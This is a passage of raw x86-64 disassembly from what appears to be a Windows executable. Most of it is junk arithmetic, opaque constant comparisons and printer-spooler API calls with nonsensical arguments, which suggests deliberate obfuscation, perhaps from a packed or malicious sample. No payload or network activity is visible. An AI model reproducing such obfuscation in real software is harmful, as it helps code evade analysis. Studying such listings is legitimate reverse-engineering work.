mov qword [rcx], rax
movsx eax, word [rsp + 0x10f4]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7570]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7680]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
mov rcx, qword [0x1401f94c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1100], ax
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x75c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10f8], ax
mov eax, dword [rsp + 0x3fe8]
add eax, 0x10
mov dword [rsp + 0x3fe8], eax
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov byte [rsp + 0x194], al
movsx eax, word [rsp + 0xfa8]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1104], ax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x76a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7680]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x75d8]
shl rax, cl
mov rcx, qword [rsp + 0x7588]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3f9c]
movzx ecx, al
mov eax, dword [rsp + 0x3f94]
shr eax, cl
mov rcx, qword [rsp + 0x7558]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75c8]
and rcx, rax
mov rax, rcx
mov qword [0x1401f94c8], rax
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10f0]
add eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x196], al
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0x7678]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7630]
mov byte [rcx], al
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7668]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfa8], ax
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x197], al
mov rax, qword [rsp + 0x7568]
mov rcx, qword [rsp + 0x7540]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7558]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x7688]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x71c8], rax
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x7570]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x75d8], rax
mov rax, qword [rsp + 0x75f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1104]
or eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x198]
shl eax, cl
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x197]
sar eax, cl
mov byte [rsp + 0x196], al
movzx eax, word [rsp + 0x10f8]
mov rcx, qword [rsp + 0x7628]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0x7678]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10f8]
and eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
mov rax, qword [rsp + 0x7568]
mov ecx, dword [rsp + 0x3fa8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f64], eax
mov rax, qword [rsp + 0x7688]
mov rcx, qword [rsp + 0x75c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
mov rax, qword [rsp + 0x76b0]
mov rcx, qword [rsp + 0x7598]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f74], eax
movsx eax, word [rsp + 0x10ec]
movsx ecx, word [rsp + 0x10f4]
sub eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10f4]
add eax, ecx
mov word [rsp + 0xfa8], ax
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x194]
sub eax, ecx
mov rcx, qword [rsp + 0x7630]
mov byte [rcx], al
movzx eax, word [rsp + 0x10f8]
movzx ecx, word [rsp + 0x10e8]
and eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x7668]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x196], al
jmp 0x140008170
mov rax, qword [rsp + 0x7590]
movzx eax, byte [rax]
mov byte [rsp + 0x4008], al
cmp byte [rsp + 0x4008], 0
je 0x140008706
cmp byte [rsp + 0x4008], 0x7b
je 0x1400086c8
jmp 0x1401dc52e
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1100]
sub eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
movzx eax, byte [rsp + 0x198]
movzx ecx, byte [rsp + 0x194]
add eax, ecx
mov byte [rsp + 0x195], al
jmp 0x1401dc52e
mov rax, qword [rsp + 0x7630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7678]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x194]
movzx edx, byte [rsp + 0x198]
add ecx, edx
cmp eax, ecx
jl 0x140008812
lea rax, [rsp + 0x10e8]
mov qword [rsp + 0x76e0], rax
mov rax, qword [rsp + 0x7598]
mov eax, dword [rax]
mov dword [rsp + 0x400c], eax
cmp dword [rsp + 0x400c], 0xbcb0ed0
je 0x140008778
cmp dword [rsp + 0x400c], 0x7ba9327b
je 0x1400087ea
jmp 0x14000880d
lea rax, [rsp + 0x7628]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x195]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xa2
lea rax, [rsp + 0x2e000]
mov qword [rsp + 0x20], rax
mov r9d, 0x28
mov r8d, 0xeb
mov edx, 0x30
mov rcx, qword [rsp + 0x76e8]
call sub.WINSPOOL.DRV_EnumJobsA
mov dword [rsp + 0x3ff0], eax
movsx eax, byte [rsp + 0x196]
movsx ecx, byte [rsp + 0x197]
sar eax, cl
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
jmp 0x14000880d
movzx eax, word [rsp + 0x10f8]
mov rcx, qword [rsp + 0x76e0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x10e8], ax
call fcn.1401dd040
nop
jmp 0x140008935
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f74]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x3aa0]
mov edx, dword [rsp + 0x3f68]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x140008935
mov rax, qword [rsp + 0x76a0]
mov rax, qword [rax]
mov qword [rsp + 0x76f0], rax
movabs rax, 0x8141bda80d180875
cmp qword [rsp + 0x76f0], rax
je 0x14000886d
jmp 0x14000892f
mov rax, qword [rsp + 0x7558]
mov ecx, dword [rsp + 0x3f64]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
lea rax, [rsp + 0x7688]
mov qword [rsp + 0x20], rax
mov r9d, SHTestTokenMembership
mov r8, qword [rsp + 0x76f8]
mov rdx, qword [rsp + 0x76d8]
mov rcx, qword [rsp + 0x7700]
call sub.WINSPOOL.DRV_EnumPrinterKeyA
mov dword [rsp + 0x3f64], eax
mov rax, qword [rsp + 0x7688]
mov rcx, qword [rsp + 0x75c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7618], rax
movsx eax, word [rsp + 0x10ec]
movsx ecx, word [rsp + 0xfa8]
sub eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x6d
lea r9, [rsp + 0x196]
mov r8d, 0xad
mov rdx, qword [rsp + 0x7708]
mov rcx, qword [rsp + 0x7710]
call sub.WINSPOOL.DRV_SetPrinterDataA
mov dword [rsp + 0x4010], eax
jmp 0x140008935
call fcn.1401de470
nop
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
mov qword [rsp + 0x7718], rax
movabs rax, 0x6e3b23794a668805
cmp qword [rsp + 0x7718], rax
je 0x140008961
jmp 0x140008ae0
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7570]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75d8], rax
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75d8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7588]
mov rdx, qword [rsp + 0x7570]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jne 0x140008a2e
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x194]
sub eax, ecx
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
mov dword [rsp + 0x20], ILIsEqual
lea r9, [rsp + 0x7720]
mov r8d, reloc.SHELL32.dll_ILFindChild
mov rdx, qword [rsp + 0x7728]
mov rcx, qword [rsp + 0x76e8]
call sub.WINSPOOL.DRV_SetPrinterDataA
mov dword [rsp + 0x3fa8], eax
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
jmp 0x140008adb
mov rax, qword [rsp + 0x76e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10f8]
sub eax, ecx
movzx ecx, word [rsp + 0x10fc]
mov rdx, qword [rsp + 0x7628]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jge 0x140008adb
mov rax, qword [rsp + 0x76e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7628]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x10fc], ax
movsx eax, word [rsp + 0x10ec]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
mov dword [rsp + 0x28], 0x2a
lea rax, [rsp + 0x7658]
mov qword [rsp + 0x20], rax
mov r9d, reloc.SHELL32.dll_ILSaveToStream
mov r8, qword [rsp + 0x7730]
mov rdx, qword [rsp + 0x76d8]
mov rcx, qword [rsp + 0x7700]
call sub.WINSPOOL.DRV_SetPrinterDataExA
mov dword [rsp + 0x3f94], eax
jmp 0x140008c14
movzx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0x75c8]
mov qword [rsp + 0x7738], rax
mov dword [rsp + 0x4014], 0xd9c3
mov rax, qword [rsp + 0x76a8]
mov eax, dword [rax]
mov dword [rsp + 0x4010], eax
mov eax, dword [rsp + 0x3aa0]
mov dword [rsp + 0x4018], eax
cmp dword [rsp + 0x4018], 0x2cf74ae6
je 0x140008bf1
cmp dword [rsp + 0x4018], 0x50c4ec4b
je 0x140008b59
jmp 0x140008c14
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
mov dword [rsp + 0x401c], eax
cmp dword [rsp + 0x401c], 0x5c2
je 0x140008b7a
jmp 0x140008be9
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x35
lea r9, [rsp + 0x2e680]
mov r8d, 7
mov rdx, qword [rsp + 0x7730]
mov rcx, qword [rsp + 0x7710]
call sub.WINSPOOL.DRV_SetPrinterDataA
mov dword [rsp + 0x3fa8], eax
mov eax, dword [rsp + 0x3f68]
mov ecx, dword [rsp + 0x3aa0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f74], eax
jmp 0x140008bef
call fcn.1401dd040
nop
jmp 0x140008c14
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
mov rax, qword [rsp + 0x76e0]
movzx eax, word [rax]
mov dword [rsp + 0x4020], eax
cmp dword [rsp + 0x4020], 0x4a5
je 0x140008c38
jmp 0x140008def
mov rax, qword [rsp + 0x7548]
movzx eax, byte [rax]
mov byte [rsp + 0x4024], al
cmp byte [rsp + 0x4024], 4
je 0x140008c67
cmp byte [rsp + 0x4024], 0x62
je 0x140008dce
jmp 0x140008dea
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x194]
add eax, ecx
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x198]
sub ecx, edx
cmp eax, ecx
jl 0x140008d77
movzx eax, word [rsp + 0x10f8]
mov rcx, qword [rsp + 0x76e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10fc], ax
lea r9, [rsp + 0x76e8]
mov r8d, 0x38
mov rdx, qword [rsp + 0x76f8]
mov rcx, qword [rsp + 0x7740]
call sub.WINSPOOL.DRV_SetPortA
mov dword [rsp + 0x3fb0], eax
movsx eax, byte [rsp + 0x197]
movsx ecx, byte [rsp + 0x196]
sub eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
mov rax, qword [rsp + 0x7630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7678]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
lea rax, [rsp + 0x10fc]
mov qword [rsp + 0x20], rax
mov r9d, 0x76
mov r8, qword [rsp + 0x7748]
mov rdx, qword [rsp + 0x7728]
mov rcx, qword [rsp + 0x76e8]
call sub.WINSPOOL.DRV_EnumPrinterKeyA
mov dword [rsp + 0x4010], eax
jmp 0x140008dcc
mov rax, qword [rsp + 0x7570]
mov rcx, qword [rsp + 0x75d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7600]
mov rdx, qword [rsp + 0x7680]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jne 0x140008dcc
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x7588]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7570], rax
jmp 0x140008dea
mov eax, dword [rsp + 0x3aa0]
mov ecx, dword [rsp + 0x3f74]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x76b0]
mov dword [rcx], eax
jmp 0x140008f4c
mov rax, qword [rsp + 0x76a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401f94c8]
shr rax, cl
mov qword [0x1401f8008], rax
mov dword [rsp + 0x4028], 0x4a6f
lea rax, [rsp + 0x3f9c]
mov qword [rsp + 0x7750], rax
mov rax, qword [rsp + 0x76a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7640]
mov qword [rsp + 0x7758], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7758]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7688], rax
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10ec], ax
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
mov byte [rsp + 0x402c], al
cmp byte [rsp + 0x402c], 0
je 0x140008ea7
cmp byte [rsp + 0x402c], 0xb8
je 0x140008f03
jmp 0x140008f4c
lea rax, [rsp + 0x197]
mov qword [rsp + 0x7760], rax
movzx eax, word [rsp + 0x10f8]
mov word [rsp + 0x1108], ax
lea rax, [rsp + 0x198]
mov qword [rsp + 0x7768], rax
movsx eax, byte [rsp + 0x196]
movsx ecx, byte [rsp + 0x197]
sub eax, ecx
mov rcx, qword [rsp + 0x7760]
mov byte [rcx], al
mov eax, dword [rsp + 0x3f94]
mov dword [rsp + 0x4030], eax
jmp 0x140008f4c
lea rax, [rsp + 0x2e720]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x3f68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x87
lea r9, [rsp + 0x2e930]
mov r8d, 0x83
mov rdx, qword [rsp + 0x76d8]
mov ecx, PathYetAnotherMakeUniqueName
call sub.WINSPOOL.DRV_EnumPrintersA
mov dword [rsp + 0x3f5c], eax
movzx eax, byte [rsp + 0x195]
mov byte [rsp + 0x4034], al
cmp byte [rsp + 0x4034], 0xa
je 0x140008f67
jmp 0x140008f85
mov rax, qword [rsp + 0x7678]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x1104]
call fcn.1401ddfb0
nop
jmp 0x1400090c2
movsx eax, byte [rsp + 0x196]
movsx ecx, byte [rsp + 0x197]
sub eax, ecx
mov rcx, qword [rsp + 0x7760]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x7590]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
je 0x1400090c2
mov rax, qword [rsp + 0x7738]
mov rcx, qword [rsp + 0x7688]
add rcx, rax
mov rax, rcx
mov qword [0x1401f94c8], rax
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov qword [rsp + 0x7770], rax
movabs rax, 0x369d41886b0a8726
cmp qword [rsp + 0x7770], rax
je 0x14000905f
movabs rax, 0xd6187687781c827b
cmp qword [rsp + 0x7770], rax
je 0x140009014
jmp 0x1400090c2
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x7688]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x76a0]
mov qword [rcx], rax
mov rax, qword [0x1401f94c0]
movzx r9d, word [rax]
mov r8d, dword [rsp + 0x3f68]
movzx edx, word [rsp + 0x10f4]
mov ecx, dword [rsp + 0x3aa0]
call fcn.1401dce30
nop
jmp 0x1400090c2
lea rax, [rsp + 0x76e8]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x63
lea rax, [rsp + 0x75f8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x3f74]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x7688]
mov qword [rsp + 0x20], rax
mov r9d, 0xfb
mov r8, qword [rsp + 0x7778]
mov edx, 0x8d
mov rcx, qword [rsp + 0x7710]
call sub.WINSPOOL.DRV_EnumPrinterDataA
mov dword [rsp + 0x4030], eax
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3aa0], eax
movzx eax, byte [rsp + 0x194]
movzx ecx, byte [rsp + 0x195]
sub eax, ecx
mov rcx, qword [rsp + 0x7768]
mov byte [rcx], al
mov eax, dword [rsp + 0x3fb4]
sub eax, 0x4f
mov dword [rsp + 0x3fb4], eax
movsx eax, word [rsp + 0x1100]
movsx ecx, word [rsp + 0x10f4]
add eax, ecx
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
movzx eax, word [rsp + 0x10f0]
mov rcx, qword [rsp + 0x76e0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x10e8], ax
movzx eax, word [rsp + 0x10f8]
mov rcx, qword [rsp + 0x75c0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1108], ax
mov eax, dword [rsp + 0x3f94]
movzx ecx, al
mov eax, dword [rsp + 0x4030]
shr eax, cl
mov rcx, qword [rsp + 0x7750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x76a0]
mov rcx, qword [rsp + 0x7618]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1401f8008], rax
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7570]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x75d8], rax
mov rax, qword [rsp + 0x7688]
mov rcx, qword [0x1401f94c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
movsx eax, word [rsp + 0x10f4]
mov rcx, qword [rsp + 0x7668]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
cmp dword [rsp + 0x3fb4], 0xf306
ja 0x1400090c2
mov rax, qword [rsp + 0x7548]
movzx eax, byte [rax]
mov byte [rsp + 0x199], al
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10f4]
sub eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
movsx eax, word [rsp + 0x10ec]
mov dword [rsp + 0x4038], eax
cmp dword [rsp + 0x4038], 0x161d
je 0x140009280
jmp 0x1400093e5
movzx eax, byte [rsp + 0x198]
movzx ecx, byte [rsp + 0x194]
add eax, ecx
mov rcx, qword [rsp + 0x7768]
mov byte [rcx], al
movzx eax, byte [rsp + 0x198]
mov byte [rsp + 0x403c], al
cmp byte [rsp + 0x403c], 0x2b
je 0x1400092ba
jmp 0x1400093dd
movzx eax, byte [rsp + 0x194]
movzx ecx, byte [rsp + 0x198]
add eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov qword [rsp + 0x7780], rax
movabs rax, 0x21d8485cad50f39d
cmp qword [rsp + 0x7780], rax
je 0x140009317
movabs rax, 0x2b3cd274d939c9c4
cmp qword [rsp + 0x7780], rax
je 0x1400093ba
jmp 0x1400093db
mov rax, qword [rsp + 0x76b0]
mov ecx, dword [rsp + 0x3f68]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x76b0]
mov dword [rcx], eax
lea rax, [rsp + 0x198]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x7558]
mov qword [rsp + 0x20], rax
mov r9d, ILGetSize
lea r8, [rsp + 0x3f64]
mov edx, 0xac
mov rcx, qword [rsp + 0x7710]
call sub.WINSPOOL.DRV_EnumFormsA
mov dword [rsp + 0x4040], eax
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0x10ec]
and eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov r9d, 0x45
lea r8, [rsp + 0x7730]
mov edx, 0x6d
mov rcx, qword [rsp + 0x7788]
call sub.WINSPOOL.DRV_SetPrinterA
mov dword [rsp + 0x3fb0], eax
jmp 0x1400093db
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x76a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7618], rax
jmp 0x1400093e3
call fcn.1401de470
nop
jmp 0x14000944c
lea rax, [rsp + 0x3f9c]
mov qword [rsp + 0x7790], rax
movsx eax, byte [rsp + 0x197]
movsx ecx, byte [rsp + 0x199]
xor eax, ecx
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1104], ax
mov dword [rsp + 0x4044], 0x2e56
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
mov word [rsp + 0x110c], ax
movzx eax, byte [rsp + 0x195]
movzx ecx, byte [rsp + 0x194]
shl eax, cl
mov byte [rsp + 0x198], al
mov dword [rsp + 0x4048], 0x534d
movzx eax, word [rsp + 0x10f8]
mov rcx, qword [rsp + 0x7628]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x76a0]
mov rcx, qword [rsp + 0x7640]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x76a0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1100]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7540]
mov ecx, dword [rsp + 0x3fa8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7568]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7570]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75d8], rax
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7760]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
mov eax, dword [rsp + 0x3f6c]
add eax, 0xe8
mov dword [rsp + 0x3f6c], eax
movzx eax, byte [rsp + 0x198]
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7768]
mov byte [rcx], al
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7668]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfa8], ax
movzx eax, word [rsp + 0x10fc]
mov rcx, qword [rsp + 0x75c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x197]
add eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov rax, qword [rsp + 0x7598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3aa0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f74], eax
mov rax, qword [rsp + 0x7558]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3fa8]
shl eax, cl
mov rcx, qword [rsp + 0x7750]
mov dword [rcx], eax
movsx eax, word [section..data]
movsx ecx, word [rsp + 0x1100]
or eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7600]
mov qword [rsp + 0x7798], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7798]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x7600]
mov qword [rcx], rax
movzx eax, word [rsp + 0x110c]
movzx ecx, word [rsp + 0x10f8]
xor eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
mov rax, qword [rsp + 0x75f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10ec], ax
movzx eax, word [rsp + 0x10fc]
mov rcx, qword [rsp + 0x76e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10f8], ax
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1104]
and eax, ecx
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
mov rax, qword [rsp + 0x7608]
mov ecx, dword [rsp + 0x3f74]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x76b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x76a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7738]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
mov rax, qword [rsp + 0x75f8]
movsx eax, word [rax]
